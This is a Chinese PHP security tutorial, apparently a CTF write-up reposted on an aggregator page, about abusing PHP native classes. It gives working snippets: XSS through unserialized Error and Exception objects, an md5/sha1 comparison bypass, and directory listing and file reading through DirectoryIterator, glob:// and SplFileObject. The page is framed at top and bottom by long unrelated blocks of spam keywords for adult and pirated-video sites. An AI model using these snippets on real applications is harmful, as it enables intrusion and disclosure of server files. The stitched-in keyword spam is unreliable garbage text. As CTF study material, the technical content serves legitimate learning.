久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合

站長資訊網
最全最豐富的資訊網站

PHP原生類的總結分享

本篇文章給大家帶來了關于PHP的相關知識,其中主要介紹了關于原生類的相關內容,下面一起來看一下,希望對大家有幫助。

PHP原生類的總結分享

這次HEctf就是一個原生類的題,只有短短三行代碼。果然越短小的代碼在ctf里越難。

首先貼一個遍歷php內置類的腳本

 <?php $classes = get_declared_classes(); foreach ($classes as $class) {     $methods = get_class_methods($class);     foreach ($methods as $method) {         if (in_array($method, array(             '__destruct',             '__toString',             '__wakeup',             '__call',             '__callStatic',             '__get',             '__set',             '__isset',             '__unset',             '__invoke',             '__set_state'    // 可以根據題目環境將指定的方法添加進來, 來遍歷存在指定方法的原生類         ))) {             print $class . '::' . $method . "n";         }     }      }
登錄后復制

結果:

PHP原生類的總結分享

整理一下:

Exception ErrorException Error ParseError TypeError ArgumentCountError  ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException  OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
登錄后復制

大概就是這些類了,但是在ctf比賽中經常會用到的就是以下幾類

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

Error/Exception 內置類進行 XSS

error xss

__toString方法會返回錯誤或異常的字符串形式,其中包含我們輸入的參數,如果我們構造一串xss代碼,結合echo渲染,將觸發反射形xss漏洞

demo:

<?php $a = unserialize($_GET['a']);echo $a;
登錄后復制

poc

<?php $a = new Error("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b);
登錄后復制

輸出了一串字符串

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D復制代碼
登錄后復制

成功彈窗

PHP原生類的總結分享

exception xss

Exception是所有用戶級異常的基類。 (PHP 5, 7, 8)

<?php $a = new Exception("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b); ?>
登錄后復制

和error的pop的構造好像是一樣的(exception適用于php5和7,error只適用于php7),把error換成exception就行了。依然成功彈窗

PHP原生類的總結分享

Error/Exception 內置類繞過哈希比較

通過構造這兩個類可以啊繞過md5()和sha1()函數。error和exception都有一個重要方法:_tostring,用于將異常對象轉換為字符串。

同樣,當md5()和sha1()函數處理對象時,會自動調用__tostring方法

<?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
登錄后復制

輸出結果

PHP原生類的總結分享可以看出,payload后面的參數并不影響輸出的結果。正是通過這個可以繞過哈希函數。

<?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){     echo '$a不等于$b'."n ";} if (md5($a)===md5($b)) {     echo "md5值相等n"; } if (sha1($a)===sha1($b)){     echo "sha1值相等n"; }
登錄后復制

PHP原生類的總結分享

soapclient

soap的定義

簡單對象訪問協議含義

這里之所以說是簡單,是因為它是基于已經廣泛使用的兩個協議:HTTP和XML,所以業界把這種技術稱為“它是第一個沒有發明任何新技術的技術",之所以說是對象,是因為把訪問的Web服務稱為對象,既然服務是對象,那么服務肯定有相關的屬性和調用行為,這些屬性和行為是通過WSDL來描述的。如果按“簡單的對象訪問協議”來理解,相比“簡單對象訪問協議”要容易些

PHP 的內置類 SoapClient 是一個專門用來訪問web服務的類,可以提供一個基于SOAP協議訪問Web服務的 PHP 客戶端。

該類的構造函數如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
登錄后復制

  • 第一個參數是用來指明是否是wsdl模式,將該值設為null則表示非wsdl模式。
  • 第二個參數為一個數組,如果在wsdl模式下,此參數可選;如果在非wsdl模式下,則必須設置location和uri選項,其中location是要將請求發送到的SOAP服務器的URL,而uri 是SOAP服務的目標命名空間。

php原生文件操作類

目錄遍歷

DirectoryIterator

__toString 獲取字符串形式的文件名 (PHP 5,7,8)

例如:

<?php $a = new DirectoryIterator("/"); foreach($a as $b){     echo($b.'</br>'); } echo $a;
登錄后復制

PHP原生類的總結分享輸出指定目錄里面經過排序之后的第一個文件名

使用此內置類的__toString方法結合glob或file協議,即可實現目錄遍歷

<?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){     echo $b.'<br>'; }
登錄后復制

PHP原生類的總結分享

利用foreach能遍歷所有的文件

<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
登錄后復制

PHP原生類的總結分享

多一個斜杠,目錄往前一個。

FilesystemIterator 類

FilesystemIterator 類與 DirectoryIterator 類相同,提供了一個用于查看文件系統目錄內容的簡單接口。該類的構造方法將會創建一個指定目錄的迭代器。

該類的使用方法與DirectoryIterator 類也是基本相同的:

<?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
登錄后復制

PHP原生類的總結分享

文件讀取

SplFileObject::__toString — 以字符串形式返回文件的路徑

<?php $a = new SplFileObject('flag.txt'); echo $a;
登錄后復制

PHP原生類的總結分享輸出多行

<?php $a = new SplFileObject('flag.txt'); foreach($a as $f){     echo($f); }
登錄后復制

PHP原生類的總結分享

推薦學習:《PHP視頻教程》

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合
黄色日韩在线| 精品国产乱码久久久| 成人一区而且| 精品一级视频| 美女精品视频在线| 成人在线视频区| 欧美sss在线视频| 九一精品国产| 亚洲精品伊人| 久久精品亚洲| 丝袜美腿一区| 老司机精品久久| 欧美日韩一区自拍| 国产不卡精品| 久久av导航| 在线天堂资源www在线污| 99成人在线| 日本成人中文字幕在线视频| 国产精品免费精品自在线观看| 国产精品毛片久久久| 国产欧美一区二区三区精品酒店| 麻豆精品av| 国产综合欧美| 日韩和欧美一区二区| 成人一二三区| 在线观看一区| 91日韩欧美| 免费精品视频在线| 精品资源在线| 国产午夜精品一区二区三区欧美| 国产欧美日韩在线一区二区| 成人免费网站www网站高清| 亚洲综合二区| 另类欧美日韩国产在线| 久久精品二区三区| 亚洲精品极品| 日韩在线高清| 日韩不卡一二三区| 青青青免费在线视频| 蜜桃91丨九色丨蝌蚪91桃色| 久久av网址| 久久亚洲国产精品一区二区| 老司机免费视频一区二区| 欧美精品一线| 久久精品国产网站| 一区二区三区网站| 日韩精品免费一区二区在线观看| 婷婷综合福利| 成人日韩在线观看| 日韩二区在线观看| 国产精品mv在线观看| 狠狠色狠狠色综合日日tαg| 欧美精品成人| 日本亚洲视频在线| 中文日韩欧美| 欧美aa一级| 麻豆成人av在线| 亚久久调教视频| 夜夜嗨一区二区| 欧美成a人国产精品高清乱码在线观看片在线观看久 | 日韩欧美视频专区| 日本91福利区| 蜜臀av性久久久久蜜臀aⅴ流畅 | 成人影视亚洲图片在线| 日本伊人午夜精品| 精品91久久久久| 国产成人精选| 欧美91在线|欧美| 日本成人精品| 免费人成黄页网站在线一区二区| 久久视频国产| 国产高清不卡| 成人在线免费观看网站| 欧美成a人片免费观看久久五月天| 亚洲三区欧美一区国产二区| 美女网站一区| 久久久夜夜夜| 午夜影院一区| 国产suv精品一区二区四区视频| 国产亚洲一区二区三区不卡| 亚洲男人在线| 另类亚洲自拍| 视频一区二区不卡| 夜久久久久久| 在线综合亚洲| 欧美一区=区| 快she精品国产999| 久久福利影视| 日韩一区欧美二区| 蜜臀av国产精品久久久久| 亚洲激情黄色| 妖精视频成人观看www| 黄色成人精品网站| 老牛影视一区二区三区| 亚洲欧美成人综合| 亚洲尤物av| 亚洲综合图色| 欧美三级第一页| 国产精品久久久久久妇女| 欧美激情麻豆| 国产精品久久久久av电视剧| 欧美成人日韩| 噜噜噜躁狠狠躁狠狠精品视频| 丝袜a∨在线一区二区三区不卡| 亚洲天堂av资源在线观看| 国产乱人伦精品一区| 麻豆中文一区二区| 欧美gv在线| 国产亚洲福利| 日韩精品一区二区三区中文字幕| 91成人精品观看| 国产亚洲高清一区| 精品成av人一区二区三区| 亚洲天堂免费电影| 夜久久久久久| 国产日本精品| 久久电影tv| 一区二区视频欧美| 日本麻豆一区二区三区视频| 欧美成人一二区| 秋霞影视一区二区三区| 国产模特精品视频久久久久| 69堂免费精品视频在线播放| 黄色欧美在线| 中文在线一区| 国产免费久久| 精品国产亚洲日本| 不卡一区综合视频| 日韩精品免费视频一区二区三区 | 亚洲三区欧美一区国产二区| 国产精品va视频| 99久久久久| 亚洲不卡视频| 欧美丰满日韩| 亚洲天堂免费| 在线天堂资源www在线污| 丝袜脚交一区二区| 日韩精品视频网站| 欧美激情综合| 高清av不卡| 亚洲精选成人| 日韩在线精品| 青草国产精品| 亚洲成人精品| 欧美三区不卡| 亚洲大全视频| 国产精品成人**免费视频| 神马午夜久久| 国产精品一区三区在线观看| 国产精品99一区二区| 国产毛片一区二区三区| 婷婷国产精品| 久久av免费看| 最新国产精品视频| 日韩电影免费网站| 日韩毛片网站| 亚洲精品在线观看91| 欧美aⅴ一区二区三区视频| 性色一区二区| 久久人人精品| 欧美黄色一区| 亚洲天堂av资源在线观看| 日本免费久久| 卡一卡二国产精品| 日韩精品视频一区二区三区| 欧美 日韩 国产一区二区在线视频| 国产美女亚洲精品7777| 鲁大师成人一区二区三区| 国产成人黄色| 日韩高清在线观看一区二区| 亚洲高清成人| 中文在线а√天堂| 欧美极品中文字幕| 青草综合视频| 爽好久久久欧美精品| 伊人久久高清| 精品91福利视频| 欧美激情视频一区二区三区免费 | 免费不卡中文字幕在线| 国产精品v亚洲精品v日韩精品| 鲁大师影院一区二区三区| 国产综合色区在线观看| 精品一区二区三区中文字幕视频 | 免费高潮视频95在线观看网站| 国产日韩免费| 三级久久三级久久久| 亚洲美洲欧洲综合国产一区| 九色porny丨国产首页在线| 国产精品一卡| 日韩精品一页| 日本成人中文字幕在线视频| 美女91精品| 国产亚洲激情| 免费日韩视频| 香蕉久久夜色精品国产| 亚洲欧美日韩在线观看a三区| 亚洲二区精品| 不卡av一区二区| 国产在线成人| 国产一区亚洲|